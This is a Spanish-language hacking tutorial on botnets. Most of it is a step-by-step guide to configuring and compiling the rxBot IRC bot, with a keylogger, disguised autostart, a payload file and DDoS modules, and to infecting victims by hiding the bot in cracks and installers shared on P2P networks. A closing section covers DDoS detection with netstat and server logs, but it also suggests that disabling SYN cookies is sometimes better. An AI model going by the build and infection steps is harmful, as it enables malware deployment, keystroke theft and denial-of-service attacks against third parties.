Вы находитесь на странице: 1из 31

INTRODUCCIÓN:

Antes de nada, para optimizar esta lectura, si estás leyendo la versión .txt,
dale a alt + o y marca "Ajuste de línea".
Si estás leyendo en versión .doc presiona la pestaña 'Ver' y pulsa en
'Normal'
Soy guille10000, y este es un tutorial/paper sobre las BotNets.
Este tutorial es de uso meramente didáctico y pretende informar de la
técnica de un atacante mediante este método. No nos hacemos
responsables del mal uso de su contenido.

© HackyBloggy 2008. Todos los derechos registrados.

Nivel de dificultad: Medio.


Conocimientos previos de Unix: Sí, medios.
Conocimientos previos de Apache: Sí, medios.

Recomendaciones, agradecimientos y comentarios:


•Si te pierdes en algún punto, contacta al creador del paper o usa Google
para intentar retomar el hilo.
•Si hay faltas de ortografía, lo siento mucho, lo hice un poco a prisa y no
me va el corrector :D
•Espero que este paper te incite a aprender más sobre el mundo del
hacking, la programación y sobre sistemas Unix
•Visita http://www.hackybloggy.blogspot.com
•Gracias a SKiP, que hizo de beta-tester y por sus codes y explicaciones
(no domino Apache, me fue de gran ayuda en lo del final)

TEORÍA:
Definicion De Botnet:
La palabra botnet hace referencia a una coleccion de software robots o bots
como quieras llamarlos estos se ejecutan de una manera muy autónoma,
funciona como un gusano que corre en un servidor infectado con la
capacidad de infectar a otros servidores y ellos realizan el mismo proceso.
El creador de una botnet puede controlar todos los ordenadores/servidores
infectados de forma remota y la mayoria lo hace a travez del IRC.

Tipos De Botnet:
El primero sería la de la gente que hace DDOS a páginas de pedófilos o a
algun gobierno corrupto, con contenidos ilegales... O simplemente con
algun propósito justificado.

La segunda de lammers que se la dan de muy locos porque tienen a su


disposición una botnet que se creen dioses del mambo y que utilizan su
botnet para hacer DDOS sólo por tocar los pies a la gente.

Definicion De Ataques Dos:


En lo que respecta a seguridad informatica, un ataque de denegacion de
servicio, también llamado ataque DOS (proviene de Denial Of Service), es
un ataque a un sistema de ordenadores o red que causa que un servicio o
recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la
pérdida de la conectividad de la red por el consumo del ancho de banda de
la red de la víctima o sobrecarga de los recursos computacionales del
sistema de la victima. ¿Algo liante no?

Se genera mediante la saturación de los puertos con flujo de información,


haciendo que el servidor se sobrecargue y no pueda seguir prestando
servicios, por eso lo de "denegación", pues hace que el servidor no pueda
con más cantidad de usuarios. Esta tecnica es usada por los llamados
crackers para dejar fuera de servicio a servidores
objetivo.

Definicion De Ataque DDOS:


Un ataque DDOS (Distributed Denial Of Service) o ataque de denegación
de servicio distribuido es una rama del dos, consiste en una ataque de
simultáneo de un conjunto de equipos pueden ser como una red botnet pero
esta vez es consiente el ordenador todo atacando a un servidor victima. La
particularidad de este ataque, a diferencia del DOS, es el que el ataque
proviene de diferentes partes del mundo, haciendo imposible cerrar la ruta
atacador ya que no solo es una, dejando como unica opción desconectar el
servidor de la red y esperar a que el ataque cese. Normalmente los ataques
se llevan a cabo por varios oleajes. Esto es posible gracias aun cierto tipo
de malware que permite obtener el control directa o mediante un gusano los
DDOSeadores consiguen su objetivo gracias a que agotan el ancho de la
banda de la victima y sobrepasan la cantidad de procesamientos de los
routers. (Me imagino ya habréis visto alguna web que pone Bandwith Limit
Exceeded = Sobrepasado Límite de Ancho de Banda)

Los PC infectados por el malware mencionado anteriormente se las conoce


como maquinas zombie y al conjunto de todas las que estan a disposicion
de un atacante se le conoce como botnet.

CREACIÓN:
Lo normal es que se utilicen lenguajes orientados a objetos para construir
estas botnet ya que resulta mucho mas cómoda su programación.
Recomiendo que lo usen en lenguaje C++ o ASM.
Aquí les explico como hacer sus propias botnet en C++.

Programas necesarios para la creacion de tu botnet:

•VISUAL C++ 6.0:


http://www.megaupload.com/?d=ZCVI4W1C
•SERVICE PACK PARA VISUAL C++:
http://www.microsoft.com/Downloads/details...&displaylang=es
•PSDK-X86:
http://rapidshare.com/files/90492188/PSDK-...JxZGazY-P2P.rar

Configuramos el visual c++:


1.- Ejecutamos el visual c++ y vamos a ‘tools-options’
2.- Nos situamos en la pestaña ‘directories’
3.- Hacemos clic en el boton situado en la parte izquierda, a lado de la x
roja
4.- Nos aseguramos que en ‘show directories for’ ponga ‘include files’ y
despues en el campo que se nos ha crado anteriormente introducimos la
siguiente ruta:

[Ruta del SDK]\INCLUDE


En mi caso:
C:\ARCHIVOS DE PROGRAMA\MICROSOFT PLATFORM SDK

5.- Pulsamos enter y nos movemos a la ruta que hemos puesto


anteriormente hacia arriba utilizando flechas.

6.- Despues repetimos la accion anterior en "library files" y en "source


files" con los
siguientes directorios:
C:\ARCHIVOS DE PROGRAMA\MICROSOFT PLATFORM SDK\LIB
(Para library files)
C:\ARCHIVOS DE PROGRAMA\MICROSOFT PLATFORM SDK\SRC
(Para source files)
Movemos hacia arriba todos los directorios agregados con ayuda de las
flechas
7.- Le damos en ok y reiniciamos el microsoft visual c++

CONFIGURACION DEL BOT:


1.- Abrimos el bot desde ‘file->open workspace’, nos situamos en la
carpeta donde tenemos el source del bot y le damos a ‘Open’.
2.- Después, en el menú arbol de la derecha buscamos el archivo de
configuración (normalmente senttings.h, config.h y similares). Hacemos
doble click en el y veremos el source a la derecha. Ahí es donde
modificaremos las opciones del bot, para lo cual necesitan hacerle las
configuracione respectivas:

Lo primero es ir a la carpeta Headers y luego al archivo configs.h, haciendo


doble clic.
En la parte derecha vemos lo siguiente:

char botid[] = ""; // bot id


char version[] = ""; // Bots !version reply
char password[] = ""; // bot password
char server[] = ""; // serverchar serve
rpass[] = ""; // server password
char channel[] = ""; // channel that the bot should join
char chanpass[] = ""; // channel password
char server2[] = ""; // backup server (optional)
char channel2[] = ""; // backup channel (optional)
char chanpass2[] = ""; // backup channel password (optional)
char filename[] = "bling.exe"; // NO CAMBIAR ESTO
char keylogfile[] = ""; // keylog filename
char valuename[] = ""; // value name for autostart
char nickconst[] = ""; // first part to the bot's nick
char szLocalPayload File[]=""; // Payload filename
char modeonconn[] = ""; // Can be more than one mode and contain
both + and -
char exploitchan[] = ""; // Channel where exploit messages get redirected
char keylogchan[] = ""; // Channel where keylog messages get
redirected
char psniffchan[] = "";

CONFIGURAMOS NUESTRO BOT:


Aquí es donde vamos a configurar:
Botid:
Sin comentarios

Password:
Esto sirve para que cuando este en el canal lo pueda llamar asi: .login
password_introducida [Esto es la manera de llamar a la máquina zombie en
el canal de irc. La documentación de uso del xBot esta en la carpeta
DOCUMENTOS]

Server:
Le decimos al bot a que servidor debería entrar cuando sea ejecutado por la
víctima.

Serverpass:
Si el servidor posee una contraseña la ponemos aquí.

Channel:
Especificamos el canal a donde se irá la máquina que ejecute el xBot

Channelpass:
Especificamos la clave del canal si este posee una

Veamos un ejemplo de cómo debe queda configurado:

char botid[] = "GBOT"; // nombre del bot


char version[] = "[rxBot v0.6.6a "; // Bots !version reply
char password[] = "fucku"; // password del bot
char server[] = "irc.server.net"; // server
char serverpass[] = ""; // password del server
char channel[] = "#spain"; // canal en el que el bot debe
loguearse
char chanpass[] = ""; // password del canal
char server2[] = ""; // backup server (optional)
char channel2[] = ""; // backup channel (optional)
char chanpass2[] = ""; // backup channel password
(optional)
char filename[] = "bling.exe"; // NO CAMBIAR ESTO
char keylogfile[] = "system.txt"; // nombre del log
char valuename[] = "Microsoft Update Machine"; // valor de nombre para
autoempezar
char nickconst[] = "[IH--HB]-"; // primera parte del nick
del bot
char szLocalPayload File[]="msconfig.dat"; // Nombre del Payload
char modeonconn[] = "+n+U"; //
chan[] = "#spain "; // Canal donde los mensajes
exploit serán redirigidos
char keylogchan[] = "#spain "; // Canal donde los mensajes del
log serán redigiridos
char psniffchan[] = "#spain ";

Ahora que ya configuramos el configs.h , podemos construir el ejecutable


Build & Rebuild All

3.- Después que hemos acabado de configurar el bot hay que compilarlo,
para ello iremos a menu Build->Rebuild all

4.- Cuando acabe de compilar podremos ver abajo el log de compilación, si


todo sale bien quedara algo como esto (los ficheros varian según el bot):

Código:

Deleting intermediate files and output files for project 'rBot - Win32
Release'.
--------------------Configuration: rBot - Win32 Release--------------------
Compiling...
advscan.cpp
aliaslog.cpp
autostart.cpp
beagle.cpp
capture.cpp
cdkeys.cpp
crc32.cpp
crypt.cpp
dameware.cpp
dcc.cpp
dcom.cpp
dcom2.cpp
ddos.cpp
download.cpp
driveinfo.cpp
ehandler.cpp
findfile.cpp
findpass.cpp
fphost.cpp
httpd.cpp
icmpflood.cpp
ident.cpp
irc_send.cpp
keylogger.cpp
kuang2.cpp
loaddlls.cpp
lsass.cpp
misc.cpp
mssql.cpp
mydoom.cpp
net.cpp
netbios.cpp
netdevil.cpp
netutils.cpp
optix.cpp
pingudp.cpp
processes.cpp
psniff.cpp
rBot.cpp
redirect.cpp
remotecmd.cpp
rlogind.cpp
rndnick.cpp
scan.cpp
secure.cpp
session.cpp
shellcode.cpp
socks4.cpp
sub7.cpp
synflood.cpp
sysinfo.cpp
tcpflood.cpp
tftpd.cpp
threads.cpp
upnp.cpp
visit.cpp
webdav.cpp
wildcard.cpp
Linking...
rBot.exe - 0 error(s), 0 warning(s)

Ahora buscan el ejecutable que por defecto estara en la carpeta release (no
ejecutar)

Comandos para que hagan DDOS en rXBot :

http://rapidshare.com/files/90496457/RXBOT...OS_ByJeAnXz.htm

INFECTANDO Y BUSCANDO VÍCTIMAS:


Es necesario que entiendas algunas cosas como por ejemplo char
server[] = "irc.server.net";, todas las máquinas que ejecuten su código
siempre irán a ese servidor, pero... ¿qué sucedería si ese servidor cierra?, se
perderán todas tus máquinas zombie.
Para eso es necesario no colocar el nombre de un servidor en especial
sino de un DNS ejemplo: peru.dns.com.
¿Por qué?
Pues porque con un dns vas a tener localizados a todos tus bots. Por
ejemplo: si quieres meter tus bots a un servidor: irc.server3.net, lo único
que tendrías que hacer es ir a tu cliente dns y ponerle el ip del servidor de
irc y automáticamente tus bots se van a meter al servidor irc.server3.ne t y
luego al canal que configuraste en tu xBot, ejemplo #spain.
Las formas de infección son de acuerdo al ingenio que poseas, una
forma es camuflando el rbot con otros ejecutables como por ejemplo con
un instalador, con un crack de algún programa y compartirlo por el emule,
ares, etc.
Otra forma es crear un virus que se reproduzca por p2p y agarre el
codigo de tu rbot dentro del mismo (para esto necesitarás saber como
mínimo scripting)

MITIGACIÓN (PC):
En plataformas Window$ usando un firewall, un AV (antivirus), instalando
programas que solo provengan de fuentes fiables, evitando abrir ejecutables
enviados por email, no permitiendo la ejecución desde internet contenidos
active x y manteniendose al día con las actualizaciones ya tendrías la
seguridad resuelta... pero esto es realmente un infierno (a todos nos gusta
bajarnos cosas y desconectar el antivirus para que el ordenador vaya más
deprisa...)

SÍNTOMA PRINCIPAL:
Muchas conexiones entrantes y salientes:
Abre MS-DOS y usa el comando netstat –an y preocúpate si tras cerrar la
mayoría de conexiones a internet salen demasiadas.

Programas y webs que te solucionan la vida:


•Busca en Google “Detector de botnets by guille10000” (sin comillas). Eso
te hace automáticamente eso.
•Ingresa a http://www.botnetchecker.com/

Si no estás infectado:

MITIGACION (WEB):
Si tu intención es mitigar un DDOS a tu web has de detectar de donde
proviene el ataque.

1) Usando el comando netstat:


Escribimos estos códigos
netstat -an | grep :80 | sort
netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
netstat -n -p|grep SYN_REC | wc -l
netstat -lpn|grep :80 |awk '{print $5}'|sort
netstat -an | grep :80 | awk '{ print $5 }' | awk -F: '{ print $1 }' | sort | uniq
-c | sort -n

Este es un claro ejemplo de un ataque syn_recv o syn flooding al apache


(puerto 80)

192.168.0.3 es la ip del servidor apache y 192.168.0.105 es la ip del


"atacante".

tcp 0 0 192.168.0.3:80 192.168.0.5:60808 SYN_RECV


tcp 0 0 192.168.0.3:80 192.168.0.5:60761 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60876 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60946 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60763 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60955 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60765 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60961 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60923 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61336 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61011 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60911 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60758 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60828 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61114 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61074 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60826 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60959 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60900 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60940 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60920 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60825 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60945 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60913 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61009 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60755 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60904 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61583 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60910 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60915 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60827 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61458 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60908 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61007 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60927 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60951 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60942 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61113 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60909 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60822 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60894 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60952 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60928 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60936 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60906 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61466 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60919 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60914 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60926 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60939 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60931 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60831 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60823 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60954 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60916 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60963 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60947 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61006 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60933 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60950 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60895 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60917 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61480 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60935 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60960 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60767 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60918 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60821 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61077 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60905 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61517 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60893 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60953 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60903 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61439 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61337 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61545 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61299 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61010 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60930 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60744 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60929 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60754 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61008 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61116 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60811 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60807 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60938 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60764 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60873 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60817 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61550 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60748 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60956 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60753 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61115 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60741 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61075 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60948 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60829 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60943 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61338 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60762 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60824 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60830 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61535 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60898 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60815 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60962 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60957 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60944 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60921 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60759 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60897 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61518 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60958 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60922 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60937 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60875 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60766 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60751 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60768 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60743 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:61076 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60912 SYN_RECV
tcp 0 0 192.168.0.3:80 192.168.0.5:60816 SYN_RECV

2) Mirando el server-status del Apache:

Si miramos bien en el server-status del apache veremos conexiones en


estado "reading" ("r" reading request). Ready=listo
FOTO:

El problema es que cuando el numero de conexiones "reading" llena el


"maxclients" del apache, este no acepta nuevas peticiones, por lo que los
nuevos clientes, aunque sean legítimos, no serán aceptados.

Y ahora os enseñaré a aumentar el valor de "maxclients" para que no haga


una cola de peticiones y acepte a todos los clientes.

Una forma mas de mitigarlo es bajar el valor del "timeout" del apache para
que las peticiones "reading" sean “killeadas” (xD) rapidamente, antes que
pueda llenarse el maxclients a su tope.

3) Mirando los logs del mod_evasive:


Jun 22 18:24:04 lan mod_evasive[3835]: Blacklisting address
82.228.169.50: possible attack.
Jun 22 18:24:45 lan mod_evasive[3600]: Blacklisting address
81.206.164.163: possible attack.
Jun 22 18:25:46 lan mod_evasive[3589]: Blacklisting address
155.232.250.19: possible attack.
Jun 22 18:27:23 lan mod_evasive[3671]: Blacklisting address
83.227.217.2: possible attack.
Jun 22 18:28:10 lan mod_evasive[3673]: Blacklisting address
68.187.171.89: possible attack.
Jun 22 18:29:57 lan mod_evasive[3605]: Blacklisting address
70.143.2.130: possible attack.
Jun 22 18:30:45 lan mod_evasive[3803]: Blacklisting address
69.157.93.88: possible attack.
Jun 22 18:31:45 lan mod_evasive[10397]: Blacklisting address
146.64.81.22: possible attack.
Jun 22 18:35:01 lan mod_evasive[3794]: Blacklisting address
66.38.192.134: possible attack.
Jun 22 18:35:15 lan mod_evasive[3553]: Blacklisting address
81.190.204.64: possible attack.
Jun 22 18:40:10 lan mod_evasive[16602]: Blacklisting address
64.231.39.129: possible attack.
Jun 22 18:48:04 lan mod_evasive[16479]: Blacklisting address
84.99.195.100: possible attack.
Jun 22 18:48:12 lan mod_evasive[16467]: Blacklisting address
201.0.10.142: possible attack.
Jun 22 18:52:57 lan mod_evasive[16573]: Blacklisting address
219.95.39.242: possible attack.
Jun 22 18:53:07 lan mod_evasive[16534]: Blacklisting address
86.129.3.91: possible attack.
Jun 22 18:53:26 lan mod_evasive[16527]: Blacklisting address
62.254.0.32: possible attack.
Jun 22 18:54:41 lan mod_evasive[30473]: Blacklisting address
24.196.199.191: possible attack.
Jun 22 18:55:17 lan mod_evasive[30520]: Blacklisting address
142.161.157.227: possible attack.
Jun 22 18:55:24 lan mod_evasive[30461]: Blacklisting address
65.92.145.133: possible attack.
Jun 22 18:55:33 lan mod_evasive[30509]: Blacklisting address
88.111.227.200: possible attack.
Jun 22 18:56:13 lan mod_evasive[30473]: Blacklisting address
69.199.94.227: possible attack.
Jun 22 18:57:45 lan mod_evasive[30517]: Blacklisting address
86.125.135.212: possible attack.
Jun 22 18:57:54 lan mod_evasive[30479]: Blacklisting address
84.192.141.65: possible attack.
Jun 22 18:58:46 lan mod_evasive[30527]: Blacklisting address
83.140.97.106: possible attack.
Jun 22 18:59:31 lan mod_evasive[30469]: Blacklisting address
82.173.216.196: possible attack.
Jun 22 19:00:33 lan mod_evasive[30517]: Blacklisting address
80.176.157.245: possible attack.
Jun 22 19:00:38 lan mod_evasive[30470]: Blacklisting address
86.133.102.51: possible attack.
Jun 22 19:01:35 lan mod_evasive[30870]: Blacklisting address
24.42.134.253: possible attack.
Jun 22 19:01:48 lan mod_evasive[30509]: Blacklisting address
62.254.0.34: possible attack.
Jun 22 19:02:57 lan mod_evasive[31009]: Blacklisting address
81.227.219.125: possible attack.
Jun 22 19:03:29 lan mod_evasive[31056]: Blacklisting address
172.209.173.153: possible attack.
Jun 22 19:05:07 lan mod_evasive[31385]: Blacklisting address
84.6.12.110: possible attack.
Jun 22 19:06:52 lan mod_evasive[31008]: Blacklisting address
85.227.144.249: possible attack.
Jun 22 19:06:56 lan mod_evasive[31263]: Blacklisting address
213.222.156.222: possible attack.
Jun 22 19:07:13 lan mod_evasive[31393]: Blacklisting address
62.163.143.166: possible attack.
Jun 22 19:07:37 lan mod_evasive[31021]: Blacklisting address
62.135.101.73: possible attack.
Jun 22 19:08:03 lan mod_evasive[31251]: Blacklisting address
82.201.249.69: possible attack.
Jun 22 19:08:17 lan mod_evasive[31200]: Blacklisting address
81.62.65.53: possible attack.
Jun 22 19:11:04 lan mod_evasive[31263]: Blacklisting address
82.39.148.204: possible attack.
Jun 22 19:12:37 lan mod_evasive[31241]: Blacklisting address
213.222.154.13: possible attack.
Jun 22 19:13:54 lan mod_evasive[31027]: Blacklisting address 81.51.79.4:
possible attack.
Jun 22 19:24:04 lan mod_evasive[31041]: Blacklisting address
84.221.118.156: possible attack.
Jun 22 19:48:47 lan mod_evasive[3400]: Blacklisting address
62.135.101.192: possible attack.
Jun 22 19:53:04 lan mod_evasive[31031]: Blacklisting address
62.30.33.13: possible attack.
Jun 22 19:54:32 lan mod_evasive[31016]: Blacklisting address
72.14.194.18: possible attack.
Jun 22 19:56:10 lan mod_evasive[31067]: Blacklisting address
198.96.34.58: possible attack.
Jun 22 20:03:24 lan mod_evasive[5144]: Blacklisting address
172.213.33.242: possible attack.
Jun 22 20:08:31 lan mod_evasive[5137]: Blacklisting address
83.241.11.16: possible attack.
Jun 22 20:21:59 lan mod_evasive[6645]: Blacklisting address
201.23.193.20: possible attack.
Jun 22 20:32:28 lan mod_evasive[7801]: Blacklisting address
212.38.134.172: possible attack.
Jun 22 20:45:46 lan mod_evasive[7836]: Blacklisting address
81.247.11.48: possible attack.
Jun 22 20:48:03 lan mod_evasive[7796]: Blacklisting address
70.245.98.186: possible attack.
Jun 22 20:49:38 lan mod_evasive[7832]: Blacklisting address
61.8.138.203: possible attack.
Jun 22 20:51:21 lan mod_evasive[7801]: Blacklisting address
201.132.197.161: possible attack.
Jun 22 20:57:18 lan mod_evasive[10426]: Blacklisting address
82.201.249.67: possible attack.
Jun 22 20:57:51 lan mod_evasive[7822]: Blacklisting address
81.77.26.162: possible attack.
Jun 22 21:00:25 lan mod_evasive[7817]: Blacklisting address
200.39.202.243: possible attack.
Jun 22 21:12:04 lan mod_evasive[7794]: Blacklisting address
84.27.139.25: possible attack.
Jun 22 21:22:27 lan mod_evasive[7816]: Blacklisting address
217.208.98.254: possible attack.

Lo más posible es que enseguida se nota que distintas IP’s ddosean el

4) Mirando los logs del syslog (del kernel):

May 17 13:39:01 lan kernel: possible SYN flooding on port 80. Sending
cookies.
May 17 13:39:02 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:35 lan kernel: NET: 4 messages suppressed.
May 17 13:39:35 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:38 lan kernel: NET: 1 messages suppressed.
May 17 13:39:38 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:43 lan kernel: NET: 6 messages suppressed.
May 17 13:39:43 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:48 lan kernel: NET: 4 messages suppressed.
May 17 13:39:48 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:52 lan kernel: NET: 9 messages suppressed.
May 17 13:39:52 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:39:57 lan kernel: NET: 15 messages suppressed.
May 17 13:39:57 lan kernel: ip_conntrack: table full, dropping packet.
May 17 13:40:01 lan kernel: possible SYN flooding on port 80. Sending
cookies.

Fíjate en:

possible SYN flooding on port 80. Sending cookies.

"SENDING COOKIES" si lo tenemos activado en el /etc/sysctl.conf

# Permitir TCP SYN Cookie Protection:


net.ipv4.tcp_syncookies = 1

Aunque a veces es mejor deshabilitarlo:

net.ipv4.tcp_syncookies = 0

Vemos las IP’s del ataque:

Jul 14 12:46:50 lan kernel: TCP: drop open request from


80.171.45.81/63069
Jul 14 12:46:55 lan kernel: NET: 1401 messages suppressed.
Jul 14 12:46:55 lan kernel: TCP: drop open request from
80.103.166.148/4403
Jul 14 12:46:59 lan kernel: NET: 1772 messages suppressed.
Jul 14 12:46:59 lan kernel: TCP: drop open request from
200.127.62.215/4019
Jul 14 12:47:05 lan kernel: NET: 2362 messages suppressed.
Jul 14 12:47:05 lan kernel: TCP: drop open request from
85.57.169.142/19899
Jul 14 12:47:11 lan kernel: NET: 2618 messages suppressed.
Jul 14 12:47:11 lan kernel: TCP: drop open request from
83.19.73.122/2710
Jul 14 12:47:14 lan kernel: NET: 898 messages suppressed.
Jul 14 12:47:14 lan kernel: TCP: drop open request from
80.235.39.64/3554
Jul 14 12:47:19 lan kernel: NET: 1120 messages suppressed.
Jul 14 12:47:19 lan kernel: TCP: drop open request from
80.171.45.81/62095
Jul 14 12:47:24 lan kernel: NET: 1714 messages suppressed.
Jul 14 12:47:24 lan kernel: TCP: drop open request from
84.62.152.44/34014
Jul 14 12:47:29 lan kernel: NET: 2274 messages suppressed.
Jul 14 12:47:29 lan kernel: TCP: drop open request from
200.127.62.215/3207
Jul 14 12:47:34 lan kernel: NET: 1552 messages suppressed.
Jul 14 12:47:34 lan kernel: TCP: drop open request from
80.103.166.148/4797
Jul 14 12:47:39 lan kernel: NET: 4044 messages suppressed.
Jul 14 12:47:39 lan kernel: TCP: drop open request from
